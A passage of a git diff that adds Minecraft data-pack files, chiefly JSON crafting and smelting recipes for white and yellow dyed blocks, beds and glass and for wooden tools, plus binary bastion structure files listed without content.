], + "key": { + "#": { + "item": "minecraft:white_wool" + } + }, + "result": { + "item": "minecraft:white_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_concrete_powder.json b/src/data/minecraft/recipes/white_concrete_powder.json new file mode 100644 index 00000000..da54cf5f --- /dev/null +++ b/src/data/minecraft/recipes/white_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:white_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:white_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_dye.json b/src/data/minecraft/recipes/white_dye.json new file mode 100644 index 00000000..54ef2a3f --- /dev/null +++ b/src/data/minecraft/recipes/white_dye.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "white_dye", + "ingredients": [ + { + "item": "minecraft:bone_meal" + } + ], + "result": { + "item": "minecraft:white_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_dye_from_lily_of_the_valley.json b/src/data/minecraft/recipes/white_dye_from_lily_of_the_valley.json new file mode 100644 index 00000000..ee55ebb3 --- /dev/null +++ b/src/data/minecraft/recipes/white_dye_from_lily_of_the_valley.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "white_dye", + "ingredients": [ + { + "item": "minecraft:lily_of_the_valley" + } + ], + "result": { + "item": "minecraft:white_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_glazed_terracotta.json b/src/data/minecraft/recipes/white_glazed_terracotta.json new file mode 100644 index 00000000..c8400387 --- /dev/null +++ b/src/data/minecraft/recipes/white_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:white_terracotta" + }, + "result": "minecraft:white_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_stained_glass.json b/src/data/minecraft/recipes/white_stained_glass.json new file mode 100644 index 00000000..132571a0 --- /dev/null +++ b/src/data/minecraft/recipes/white_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:white_dye" + } + }, + "result": { + "item": "minecraft:white_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_stained_glass_pane.json b/src/data/minecraft/recipes/white_stained_glass_pane.json new file mode 100644 index 00000000..64ccc28d --- /dev/null +++ b/src/data/minecraft/recipes/white_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_stained_glass" + } + }, + "result": { + "item": "minecraft:white_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/white_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..96fe7b69 --- /dev/null +++ b/src/data/minecraft/recipes/white_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:white_dye" + } + }, + "result": { + "item": "minecraft:white_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_terracotta.json b/src/data/minecraft/recipes/white_terracotta.json new file mode 100644 index 00000000..d6e28b06 --- /dev/null +++ b/src/data/minecraft/recipes/white_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:white_dye" + } + }, + "result": { + "item": "minecraft:white_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_wool_from_string.json b/src/data/minecraft/recipes/white_wool_from_string.json new file mode 100644 index 00000000..8736bcdd --- /dev/null +++ b/src/data/minecraft/recipes/white_wool_from_string.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:string" + } + }, + "result": { + "item": "minecraft:white_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/wooden_axe.json b/src/data/minecraft/recipes/wooden_axe.json new file mode 100644 index 00000000..ee3a585f --- /dev/null +++ b/src/data/minecraft/recipes/wooden_axe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + "X#", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:wooden_axe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/wooden_hoe.json b/src/data/minecraft/recipes/wooden_hoe.json new file mode 100644 index 00000000..e4596c2d --- /dev/null +++ b/src/data/minecraft/recipes/wooden_hoe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + " #", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:wooden_hoe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/wooden_pickaxe.json b/src/data/minecraft/recipes/wooden_pickaxe.json new file mode 100644 index 00000000..28aee5a8 --- /dev/null +++ b/src/data/minecraft/recipes/wooden_pickaxe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + " # ", + " # " + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:wooden_pickaxe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/wooden_shovel.json b/src/data/minecraft/recipes/wooden_shovel.json new file mode 100644 index 00000000..69f95946 --- /dev/null +++ b/src/data/minecraft/recipes/wooden_shovel.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:wooden_shovel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/wooden_sword.json b/src/data/minecraft/recipes/wooden_sword.json new file mode 100644 index 00000000..e81f2cbb --- /dev/null +++ b/src/data/minecraft/recipes/wooden_sword.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:wooden_sword" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/writable_book.json b/src/data/minecraft/recipes/writable_book.json new file mode 100644 index 00000000..babaf730 --- /dev/null +++ b/src/data/minecraft/recipes/writable_book.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:book" + }, + { + "item": "minecraft:ink_sac" + }, + { + "item": "minecraft:feather" + } + ], + "result": { + "item": "minecraft:writable_book" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_banner.json b/src/data/minecraft/recipes/yellow_banner.json new file mode 100644 index 00000000..f8e805a6 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:yellow_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:yellow_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_bed.json b/src/data/minecraft/recipes/yellow_bed.json new file mode 100644 index 00000000..4f3b4986 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:yellow_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:yellow_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_bed_from_white_bed.json b/src/data/minecraft/recipes/yellow_bed_from_white_bed.json new file mode 100644 index 00000000..ca14e46e --- /dev/null +++ b/src/data/minecraft/recipes/yellow_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:yellow_dye" + } + ], + "result": { + "item": "minecraft:yellow_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_carpet.json b/src/data/minecraft/recipes/yellow_carpet.json new file mode 100644 index 00000000..7fdaa7db --- /dev/null +++ b/src/data/minecraft/recipes/yellow_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:yellow_wool" + } + }, + "result": { + "item": "minecraft:yellow_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_carpet_from_white_carpet.json b/src/data/minecraft/recipes/yellow_carpet_from_white_carpet.json new file mode 100644 index 00000000..3bc19daf --- /dev/null +++ b/src/data/minecraft/recipes/yellow_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:yellow_dye" + } + }, + "result": { + "item": "minecraft:yellow_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_concrete_powder.json b/src/data/minecraft/recipes/yellow_concrete_powder.json new file mode 100644 index 00000000..6e51ad1b --- /dev/null +++ b/src/data/minecraft/recipes/yellow_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:yellow_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:yellow_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_dye_from_dandelion.json b/src/data/minecraft/recipes/yellow_dye_from_dandelion.json new file mode 100644 index 00000000..b7d09c3f --- /dev/null +++ b/src/data/minecraft/recipes/yellow_dye_from_dandelion.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "yellow_dye", + "ingredients": [ + { + "item": "minecraft:dandelion" + } + ], + "result": { + "item": "minecraft:yellow_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_dye_from_sunflower.json b/src/data/minecraft/recipes/yellow_dye_from_sunflower.json new file mode 100644 index 00000000..df823675 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_dye_from_sunflower.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "yellow_dye", + "ingredients": [ + { + "item": "minecraft:sunflower" + } + ], + "result": { + "item": "minecraft:yellow_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_glazed_terracotta.json b/src/data/minecraft/recipes/yellow_glazed_terracotta.json new file mode 100644 index 00000000..d65c6c47 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:yellow_terracotta" + }, + "result": "minecraft:yellow_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_stained_glass.json b/src/data/minecraft/recipes/yellow_stained_glass.json new file mode 100644 index 00000000..3ce80d95 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:yellow_dye" + } + }, + "result": { + "item": "minecraft:yellow_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_stained_glass_pane.json b/src/data/minecraft/recipes/yellow_stained_glass_pane.json new file mode 100644 index 00000000..13cc1f13 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:yellow_stained_glass" + } + }, + "result": { + "item": "minecraft:yellow_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/yellow_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..b6d03ce2 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:yellow_dye" + } + }, + "result": { + "item": "minecraft:yellow_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_terracotta.json b/src/data/minecraft/recipes/yellow_terracotta.json new file mode 100644 index 00000000..538fd4fe --- /dev/null +++ b/src/data/minecraft/recipes/yellow_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:yellow_dye" + } + }, + "result": { + "item": "minecraft:yellow_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/yellow_wool.json b/src/data/minecraft/recipes/yellow_wool.json new file mode 100644 index 00000000..bf0d73d8 --- /dev/null +++ b/src/data/minecraft/recipes/yellow_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:yellow_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:yellow_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/structures/bastion/blocks/air.nbt b/src/data/minecraft/structures/bastion/blocks/air.nbt new file mode 100644 index 00000000..6405547d Binary files /dev/null and b/src/data/minecraft/structures/bastion/blocks/air.nbt differ diff --git a/src/data/minecraft/structures/bastion/blocks/gold.nbt b/src/data/minecraft/structures/bastion/blocks/gold.nbt new file mode 100644 index 00000000..54a941d7 Binary files /dev/null and b/src/data/minecraft/structures/bastion/blocks/gold.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/bridge_pieces/bridge.nbt b/src/data/minecraft/structures/bastion/bridge/bridge_pieces/bridge.nbt new file mode 100644 index 00000000..fe91627c Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/bridge_pieces/bridge.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/connectors/back_bridge_bottom.nbt b/src/data/minecraft/structures/bastion/bridge/connectors/back_bridge_bottom.nbt new file mode 100644 index 00000000..81897b40 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/connectors/back_bridge_bottom.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/connectors/back_bridge_top.nbt b/src/data/minecraft/structures/bastion/bridge/connectors/back_bridge_top.nbt new file mode 100644 index 00000000..03d3ad86 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/connectors/back_bridge_top.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/legs/leg_0.nbt b/src/data/minecraft/structures/bastion/bridge/legs/leg_0.nbt new file mode 100644 index 00000000..e0bb0e91 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/legs/leg_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/legs/leg_1.nbt b/src/data/minecraft/structures/bastion/bridge/legs/leg_1.nbt new file mode 100644 index 00000000..98228bfe Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/legs/leg_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/rampart_plates/plate_0.nbt b/src/data/minecraft/structures/bastion/bridge/rampart_plates/plate_0.nbt new file mode 100644 index 00000000..20264fa9 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/rampart_plates/plate_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/ramparts/rampart_0.nbt b/src/data/minecraft/structures/bastion/bridge/ramparts/rampart_0.nbt new file mode 100644 index 00000000..e9bad0be Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/ramparts/rampart_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/ramparts/rampart_1.nbt b/src/data/minecraft/structures/bastion/bridge/ramparts/rampart_1.nbt new file mode 100644 index 00000000..515d1d3e Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/ramparts/rampart_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance.nbt b/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance.nbt new file mode 100644 index 00000000..8c3f8271 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance_base.nbt b/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance_base.nbt new file mode 100644 index 00000000..986d6b66 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance_base.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance_face.nbt b/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance_face.nbt new file mode 100644 index 00000000..6158901e Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/starting_pieces/entrance_face.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/walls/wall_base_0.nbt b/src/data/minecraft/structures/bastion/bridge/walls/wall_base_0.nbt new file mode 100644 index 00000000..0e907860 Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/walls/wall_base_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/bridge/walls/wall_base_1.nbt b/src/data/minecraft/structures/bastion/bridge/walls/wall_base_1.nbt new file mode 100644 index 00000000..256a8a1f Binary files /dev/null and b/src/data/minecraft/structures/bastion/bridge/walls/wall_base_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/air_base.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/air_base.nbt new file mode 100644 index 00000000..ce77abfa Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/air_base.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/connectors/end_post_connector.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/connectors/end_post_connector.nbt new file mode 100644 index 00000000..de734733 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/connectors/end_post_connector.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_0.nbt new file mode 100644 index 00000000..7c67e0c2 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_1.nbt new file mode 100644 index 00000000..d6008830 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_2.nbt new file mode 100644 index 00000000..1d96b4f3 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_3.nbt new file mode 100644 index 00000000..011f3efd Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_4.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_4.nbt new file mode 100644 index 00000000..bf359386 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/inner_4.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_0.nbt new file mode 100644 index 00000000..8ddf4fab Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_1.nbt new file mode 100644 index 00000000..bafcae84 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_2.nbt new file mode 100644 index 00000000..2102923e Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_3.nbt new file mode 100644 index 00000000..5e2b0332 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_4.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_4.nbt new file mode 100644 index 00000000..4b2ac2df Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/large_stables/outer_4.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/posts/end_post.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/posts/end_post.nbt new file mode 100644 index 00000000..60d499c8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/posts/end_post.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/posts/stair_post.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/posts/stair_post.nbt new file mode 100644 index 00000000..e42f621f Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/posts/stair_post.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/rampart_plates/rampart_plate_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/rampart_plates/rampart_plate_1.nbt new file mode 100644 index 00000000..087f4ed7 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/rampart_plates/rampart_plate_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_1.nbt new file mode 100644 index 00000000..9dc38f1d Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_2.nbt new file mode 100644 index 00000000..71217b94 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_3.nbt new file mode 100644 index 00000000..65bf37bd Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/ramparts/ramparts_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_0.nbt new file mode 100644 index 00000000..553d6799 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_1.nbt new file mode 100644 index 00000000..d45ab409 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_2.nbt new file mode 100644 index 00000000..8824a528 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_3.nbt new file mode 100644 index 00000000..e3d254c8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/inner_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_0.nbt new file mode 100644 index 00000000..46a48758 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_1.nbt new file mode 100644 index 00000000..437de898 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_2.nbt new file mode 100644 index 00000000..1a2c1130 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_3.nbt new file mode 100644 index 00000000..ae3cdc65 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/small_stables/outer_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_0.nbt new file mode 100644 index 00000000..0edf3797 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_1.nbt new file mode 100644 index 00000000..763237f5 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_2.nbt new file mode 100644 index 00000000..767cfbf5 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_3.nbt new file mode 100644 index 00000000..b25d1efb Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_4.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_4.nbt new file mode 100644 index 00000000..efcf2e41 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_1_4.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_0.nbt new file mode 100644 index 00000000..5aae9689 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_1.nbt new file mode 100644 index 